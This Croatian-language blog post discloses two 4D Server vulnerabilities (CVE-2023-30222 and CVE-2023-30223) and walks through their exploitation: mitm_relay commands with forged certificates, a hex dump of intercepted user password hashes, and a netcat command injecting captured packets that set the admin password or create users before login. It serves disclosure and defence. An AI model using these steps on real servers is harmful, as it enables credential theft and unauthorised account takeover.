Otkrivanje informacija i neispravna autentikacija u 4D SAS 4D poslužitelju


Danas imamo dvije ranjivosti u jednom paketu! Ranjivosti se mogu pronaći u 4D Serveru – v17, v18, v19 R7 i ranijim verzijama – a obje je pronašao naš neustrašivi haker, Karlo Dautović.

UPDATE: Dodijeljeni su službeni CVE-ovi (Common Vulnerabilities and Exposures) tako da se information disclosure skriva pod CVE-2023-30222, a broken authentication pod CVE-2023-30223.

Ako iz želite reproducirati, Karlo je pripremio arhivu sa svim potrebnim datotekama i paketima.

Prva, otkrivanje informacija (information disclosure), može se koristiti za dohvaćanje hashova zaporki za sve korisnike prisluškivanjem, a druga, neispravna autentikacija (broken authentication), može se koristiti za slanje prerađenih TCP paketa koji sadrže zahtjeve za izvođenje proizvoljnih radnji.

Ali kako ranjivosti funkcioniraju? Karlo to ovako objašnjava:

Možete koristiti probnu verziju 4D softvera za iskorištavanje ovih ranjivosti, uz Burp Suite i tri modificirane mitm_relay skripte, mitm_relay1.py, mitm_relay2.py i mitm_relay3.py (više o mitm_relayu potražite jrmdevovu GitHubu). Skripte šalju mrežni promet aplikacije kroz Burp Suite slušajući s proxy poslužiteljem na localhost:8080.
Skripte su izmijenjene tako da ne slušaju isti port i da dodaju mogućnost umetanje paketa u TCP stream između aplikacije i poslužitelja (skripta - mitm_relay3.py). Za svaku vezu uspostavljenu na portu navedenom u skripti, otvarao se novi UDP port (od 5555 uzlazno), a zatim je svaki UDP paket koji je poslan na port umetnut u TCP vezu i poslan na poslužitelj.

Napad je izveden pomoću tri različita VM-a; jedan koji vrti Kali Linux (za Burp Suite i modificirane mitm_relay skripte) i dva Windows OS-a (za 4D klijent i 4D poslužitelj).
Aplikacija koristi tri porta, 19812, 19813 i 19814; port 19812 ne koristi SSL (čak i kada je omogućen), 19813 koristi (plus klijentske certifikate), kao i 19814. Ali klijentski certifikati isti su za sve instalacije 4D (uključene i u probnoj verziji) – što je potvrdio revizija.
Sva tri mjesta klijentskih certifikata su sljedeća (sva su identična):
4D v18 R5/
├── 4D
│ └── Resources
│ ├── cert.pem
│ └── key.pem
├── 4D Server
│ └── Resources
│ ├── cert.pem
│ └── key.pem
└── 4D Volume Desktop
└── Resources
├── cert.pem
└── key.pem

Korištenjem skripte (gen_certs.sh) Karlo je stvorio lažne SSL certifikate, a zatim se pomoću mitm_relay predstavio aplikaciji kao SSL poslužitelj.
Pokretanjem Burp Suitea i tri skripte, 4D klijentska aplikacija usmjerava se na Kali Linux VM, a zatim na 4D poslužitelj. Kada se klijent poveže, sav promet između poslužitelja i klijenta vidljiv je u Burp Suiteu i izlazu konzole mitm_relayja.
Naredbe su izgledale ovako:
./mitm_relay1.py -r 19812:192.168.1.16:19812 -p http://127.0.0.1:8080
./mitm_relay3.py -r 19813:192.168.1.16:19813 -p http://127.0.0.1:8080 -c server.pem -k private.key -cc cert.pem -ck key.pem
./mitm_relay2.py -r 19814:192.168.1.16:19814 -p http://127.0.0.1:8080 -c server.pem -k private.key
(192.168.1.16 je bila IP adresa 4D poslužitelja tokom penetracijskog testiranja)

U nekom trenutku poslužitelj šalje sve korisnike i njihove odgovarajuće hashove lozinki u aplikaciju, što ukazuje da se prijava obrađuje na strani klijenta (što je potvrđeno kasnije, s drugom ranjivošću). Paket, koji sadrži hashove zaporki, vidljiv je i unutar Burp Suitea i unutar mitm_relayja.

Burp Suite:


mitm_relay (s uključenim TLS-om – mitm_relay predstavlja lažne SSL certifikate klijentu koji ih prihvaća bez pitanja):
S >> C [ 192.168.1.16:19813 >> 192.168.1.14:1169 ] [ Thu 22 Apr 04:45:03 ] [ 1096 ]
00000001: 00 00 42 04 00 00 E1 FD FF FF 7B 00 22 00 72 00 |..B.......{.".r.|
00000001: 65 00 62 00 6F 00 6F 00 74 00 22 00 3A 00 74 00 |e.b.o.o.t.".:.t.|
00000001: 72 00 75 00 65 00 2C 00 22 00 75 00 73 00 65 00 |r.u.e.,.".u.s.e.|
00000001: 72 00 73 00 22 00 3A 00 7B 00 22 00 64 00 65 00 |r.s.".:.{.".d.e.|
00000001: 73 00 69 00 67 00 6E 00 65 00 72 00 22 00 3A 00 |s.i.g.n.e.r.".:.|
00000001: 7B 00 22 00 70 00 61 00 73 00 73 00 77 00 6F 00 |{.".p.a.s.s.w.o.|
00000001: 72 00 64 00 22 00 3A 00 22 00 69 00 71 00 66 00 |r.d.".:.".i.q.f.|
00000001: 6F 00 45 00 4B 00 72 00 33 00 63 00 53 00 77 00 |o.E.K.r.3.c.S.w.|
00000001: 54 00 66 00 73 00 6E 00 2B 00 34 00 71 00 48 00 |T.f.s.n.+.4.q.H.|
00000001: 62 00 30 00 51 00 3D 00 3D 00 22 00 2C 00 22 00 |b.0.Q.=.=.".,.".|
00000001: 61 00 6C 00 69 00 61 00 73 00 22 00 3A 00 22 00 |a.l.i.a.s.".:.".|
00000001: 44 00 65 00 73 00 69 00 67 00 6E 00 65 00 72 00 |D.e.s.i.g.n.e.r.|
00000001: 22 00 7D 00 2C 00 22 00 61 00 64 00 6D 00 69 00 |".}.,.".a.d.m.i.|
00000001: 6E 00 69 00 73 00 74 00 72 00 61 00 74 00 6F 00 |n.i.s.t.r.a.t.o.|
00000001: 72 00 22 00 3A 00 7B 00 22 00 61 00 6C 00 69 00 |r.".:.{.".a.l.i.|
00000001: 61 00 73 00 22 00 3A 00 22 00 41 00 64 00 6D 00 |a.s.".:.".A.d.m.|
00000001: 69 00 6E 00 69 00 73 00 74 00 72 00 61 00 74 00 |i.n.i.s.t.r.a.t.|
00000001: 6F 00 72 00 22 00 7D 00 2C 00 22 00 4E 00 65 00 |o.r.".}.,.".N.e.|
00000001: 77 00 20 00 75 00 73 00 65 00 72 00 22 00 3A 00 |w. .u.s.e.r.".:.|
00000001: 7B 00 22 00 70 00 61 00 73 00 73 00 77 00 6F 00 |{.".p.a.s.s.w.o.|
00000001: 72 00 64 00 22 00 3A 00 22 00 37 00 79 00 30 00 |r.d.".:.".7.y.0.|
00000001: 6C 00 63 00 76 00 43 00 37 00 51 00 39 00 55 00 |l.c.v.C.7.Q.9.U.|
00000001: 48 00 42 00 68 00 37 00 4A 00 64 00 76 00 41 00 |H.B.h.7.J.d.v.A.|
00000001: 39 00 67 00 77 00 3D 00 3D 00 22 00 7D 00 2C 00 |9.g.w.=.=.".}.,.|
00000001: 22 00 54 00 65 00 77 00 20 00 75 00 73 00 65 00 |".T.e.w. .u.s.e.|
00000001: 72 00 22 00 3A 00 7B 00 22 00 70 00 61 00 73 00 |r.".:.{.".p.a.s.|
00000001: 73 00 77 00 6F 00 72 00 64 00 22 00 3A 00 22 00 |s.w.o.r.d.".:.".|
00000001: 69 00 71 00 66 00 6F 00 45 00 4B 00 72 00 33 00 |i.q.f.o.E.K.r.3.|
00000001: 63 00 53 00 77 00 54 00 66 00 73 00 6E 00 2B 00 |c.S.w.T.f.s.n.+.|
00000001: 34 00 71 00 48 00 62 00 30 00 51 00 3D 00 3D 00 |4.q.H.b.0.Q.=.=.|
00000001: 22 00 7D 00 7D 00 2C 00 22 00 73 00 71 00 6C 00 |".}.}.,.".s.q.l.|
00000001: 53 00 63 00 68 00 65 00 6D 00 61 00 47 00 72 00 |S.c.h.e.m.a.G.r.|
00000001: 61 00 6E 00 74 00 65 00 72 00 73 00 22 00 3A 00 |a.n.t.e.r.s.".:.|
00000001: 7B 00 22 00 44 00 45 00 46 00 41 00 55 00 4C 00 |{.".D.E.F.A.U.L.|
00000001: 54 00 5F 00 53 00 43 00 48 00 45 00 4D 00 41 00 |T._.S.C.H.E.M.A.|
00000001: 22 00 3A 00 7B 00 22 00 72 00 65 00 61 00 64 00 |".:.{.".r.e.a.d.|
00000001: 4F 00 6E 00 6C 00 79 00 41 00 63 00 63 00 65 00 |O.n.l.y.A.c.c.e.|
00000001: 73 00 73 00 47 00 72 00 6F 00 75 00 70 00 22 00 |s.s.G.r.o.u.p.".|
00000001: 3A 00 22 00 2A 00 22 00 2C 00 22 00 72 00 65 00 |:.".*.".,.".r.e.|
00000001: 61 00 64 00 57 00 72 00 69 00 74 00 65 00 41 00 |a.d.W.r.i.t.e.A.|
00000001: 63 00 63 00 65 00 73 00 73 00 47 00 72 00 6F 00 |c.c.e.s.s.G.r.o.|
00000001: 75 00 70 00 22 00 3A 00 22 00 2A 00 22 00 2C 00 |u.p.".:.".*.".,.|
00000001: 22 00 61 00 6C 00 6C 00 41 00 63 00 63 00 65 00 |".a.l.l.A.c.c.e.|
00000001: 73 00 73 00 47 00 72 00 6F 00 75 00 70 00 22 00 |s.s.G.r.o.u.p.".|
00000001: 3A 00 22 00 22 00 7D 00 7D 00 2C 00 22 00 73 00 |:.".".}.}.,.".s.|
00000001: 65 00 74 00 74 00 69 00 6E 00 67 00 73 00 22 00 |e.t.t.i.n.g.s.".|
00000001: 3A 00 7B 00 22 00 6C 00 6F 00 63 00 61 00 6C 00 |:.{.".l.o.c.a.l.|
00000001: 47 00 65 00 6E 00 65 00 72 00 69 00 63 00 57 00 |G.e.n.e.r.i.c.W.|
00000001: 65 00 62 00 55 00 73 00 65 00 72 00 22 00 3A 00 |e.b.U.s.e.r.".:.|
00000001: 22 00 44 00 65 00 73 00 69 00 67 00 6E 00 65 00 |".D.e.s.i.g.n.e.|
00000001: 72 00 22 00 2C 00 22 00 64 00 65 00 73 00 69 00 |r.".,.".d.e.s.i.|
00000001: 67 00 6E 00 41 00 63 00 63 00 65 00 73 00 73 00 |g.n.A.c.c.e.s.s.|
00000001: 47 00 72 00 6F 00 75 00 70 00 22 00 3A 00 22 00 |G.r.o.u.p.".:.".|
00000001: 2A 00 22 00 2C 00 22 00 6C 00 6F 00 63 00 61 00 |*.".,.".l.o.c.a.|
00000001: 6C 00 4D 00 6F 00 62 00 69 00 6C 00 65 00 41 00 |l.M.o.b.i.l.e.A.|
00000001: 63 00 63 00 65 00 73 00 73 00 47 00 72 00 6F 00 |c.c.e.s.s.G.r.o.|
00000001: 75 00 70 00 52 00 57 00 22 00 3A 00 22 00 2A 00 |u.p.R.W.".:.".*.|
00000001: 22 00 2C 00 22 00 72 00 65 00 6D 00 6F 00 74 00 |".,.".r.e.m.o.t.|
00000001: 65 00 4D 00 6F 00 62 00 69 00 6C 00 65 00 41 00 |e.M.o.b.i.l.e.A.|
00000001: 63 00 63 00 65 00 73 00 73 00 47 00 72 00 6F 00 |c.c.e.s.s.G.r.o.|
00000001: 75 00 70 00 52 00 57 00 22 00 3A 00 22 00 2A 00 |u.p.R.W.".:.".*.|
00000001: 22 00 2C 00 22 00 72 00 65 00 6D 00 6F 00 74 00 |".,.".r.e.m.o.t.|
00000001: 65 00 47 00 65 00 6E 00 65 00 72 00 69 00 63 00 |e.G.e.n.e.r.i.c.|
00000001: 57 00 65 00 62 00 55 00 73 00 65 00 72 00 22 00 |W.e.b.U.s.e.r.".|
00000001: 3A 00 22 00 44 00 65 00 73 00 69 00 67 00 6E 00 |:.".D.e.s.i.g.n.|
00000001: 65 00 72 00 22 00 2C 00 22 00 72 00 65 00 6D 00 |e.r.".,.".r.e.m.|
00000001: 6F 00 74 00 65 00 44 00 65 00 66 00 61 00 75 00 |o.t.e.D.e.f.a.u.|
00000001: 6C 00 74 00 55 00 73 00 65 00 72 00 22 00 3A 00 |l.t.U.s.e.r.".:.|
00000001: 22 00 22 00 7D 00 7D 00 |".".}.}.|

A sada druga ranjivost!

Ova uključuje ubacivanje paketa u TCP vezu između poslužitelja i klijenta prije nego se izvrši prijava (login). Ovo, zajedno s poslužiteljem koji šalje sve hashove zaporki klijentu, pokazuje da aplikacija koristi provjeru autentikacije na klijentskoj strani.

Pakete ubacujemo s prethodno spomenutom skriptom (onom koja otvara UDP portove) – za uspješno ubacivanje paketa potrebno ga je poslati na port lokalnog hosta koji je otvoren posljednji.
Spremljeno je nekoliko paketa koji se mogu koristiti s 4D v18 R5 poslužiteljima.
Kako bi ih ubacili, mogu se poslati pomoću sljedeće naredbe na lokalni UDP port:
cat create-user | nc -u 127.0.0.1 5556
5556 treba promijeniti da odgovara zadnjem otvorenom UDP portu. To se može vidjeti pomoću sljedeće naredbe:
$ ss -ulnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
UNCONN 0 0 0.0.0.0:5561 0.0.0.0:* users:(("python3",pid=10668,fd=16))

Najistaknutiji primjeri ranjivosti bili bi promjena korisničke lozinke, njezino ponovno postavljanje ili stvaranje novog korisnika.

Demonstracija je jednostavna. Ovo je stanje korisnika Administrator prije bilo kakvog zahvata (primijetite nedostatak lozinke):


Sada, nakon slanja paketa set-admin-password, zatvaranja aplikacije i ponovnog pokretanja, moguće je vidjeti da je lozinka sada postavljena:


A za stvaranje novog korisnika poslan je paket create-user i aplikacija smo ponovno pokrenuli. Kada se aplikacija spoji na poslužitelj, novi korisnik je uspješno dodan:


Treba napomenuti da se aplikacija mora ponovno pokrenuti svaki put kada se paketi ubace, inače promjene nisu vidljive u klijentskoj aplikaciji.
Dodatno, ovo je izvorno testirano na verziji 4D v18 R5, ali kasnije je potvrđeno da radi i na verzijama 4D v17 i 4D v19 R7, međutim, paketi su različiti i potrebno ih je ponovno uhvatiti za svaku verziju.

Paketi su uhvaćeni pomoću probne verzije 4D-a, lokalno, u okruženju koje je kontrolirao napadač. Uhvaćeni paketi zatim su testirani pomoću napadačeve kopije 4D, mitm_relayja i Burp Suitea, na produkcijskom poslužitelju koji pokreće 4D i potvrđeno je da radi. Dakle, kako bi to iskoristio, napadač može replicirati sve što želi učiniti lokalno, uhvatiti promet, a zatim se spojiti na poslužitelj koji želi iskoristiti i ubaciti pakete u vezu.

Kao što je spomenuto, sve ovo radi prije nego što se korisnik uopće prijavi u aplikaciju.